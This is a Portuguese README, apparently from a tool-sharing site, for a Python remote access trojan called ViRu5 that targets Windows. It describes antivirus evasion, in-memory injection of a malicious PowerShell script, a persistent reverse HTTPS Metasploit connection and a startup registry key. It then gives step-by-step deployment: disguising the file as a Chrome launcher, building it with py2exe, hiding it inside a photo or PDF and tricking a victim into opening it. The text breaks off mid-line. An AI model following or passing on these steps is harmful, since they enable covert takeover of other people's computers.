python-rootkit

Este é um RAT python totalmente indetectável que pode contornar quase todos os antivírus e abrir uma backdoor em qualquer máquina Windows que estabelecerá uma conexão reversa https Metasploit com sua máquina de escuta.

Ciclo de vida do ViRu5

• Contornar todos os antivírus.
• Injetar um script powershell malicioso na memória.
• Estabelecer uma conexão reversa https para a máquina do atacante.
• Verificar a cada 10 segundos e garantir que a conexão ainda existe. Se não, irá restabelecer uma nova conexão.
• Adicionar uma chave de registro de inicialização para reconectar ao atacante após reinicialização.

Passos

• Atualizar os parâmetros viRu5/source.py com seu lhost e lport
• Alterar o nome de source.py para GoogleChromeAutoLaunch.py
• Adicionar GoogleChromeAutoLaunch.py, setup.py e seu ícone como icon.ico no diretório c:\python27
• Pelo cmd, faça:
  root@kitploit:~

  cd c:\python27 && python setup.py py2exe
  

• Encontrar o arquivo RAT no diretório Dist.
• Ocultá-lo com qualquer foto, pdf, word ou qualquer tipo de arquivo
• Enviá-lo para a vítima
• Usar suas habilidades de engenharia social para fazê-lo abrir os arquivos
• Você receberá uma conexão reversa https Metasploit :)

Testado em